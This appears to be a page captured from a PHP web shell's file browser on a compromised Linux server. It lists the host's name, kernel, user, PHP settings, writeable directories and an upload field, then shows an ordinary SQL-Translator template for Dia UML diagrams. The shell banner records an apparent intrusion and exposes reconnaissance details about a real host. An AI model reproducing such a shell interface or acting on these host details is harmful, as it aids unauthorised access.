Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/perl5/vendor_perl/auto/share/dist/SQL-Translator/DiaUml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/perl5/vendor_perl/auto/share/dist/SQL-Translator/DiaUml/schema.tt2
[%# vim:ft=tt2 -%]
[% WRAPPER diagram.tt2 %]
    [% WRAPPER layer.tt2 name="Background" %]
        [% FOREACH table IN schema.get_tables %]
            [% INCLUDE 'uml-class-start.tt2'
                name       = table.name
                stereotype = 'Table'
                visible_operations = 'false'
            %]
              <dia:attribute name="attributes">
              [% FOREACH field IN table.get_fields;
                SET type = field.data_type;
                SET type = "$type($field.size)" IF field.size;
                INCLUDE "uml-attribute.tt2"
                    name       = field.name
                    stereotype = 'Field'
                    type       = type
                    value      = field.default_value
                ;
              END %]
              </dia:attribute>
              <dia:attribute name="operations"/>
              <dia:attribute name="template">
                <dia:boolean val="false"/>
              </dia:attribute>
              <dia:attribute name="templates"/>
            [% INCLUDE 'uml-class-end.tt2' %]
        [% END %]
    [% END %]
[% END %]

Hry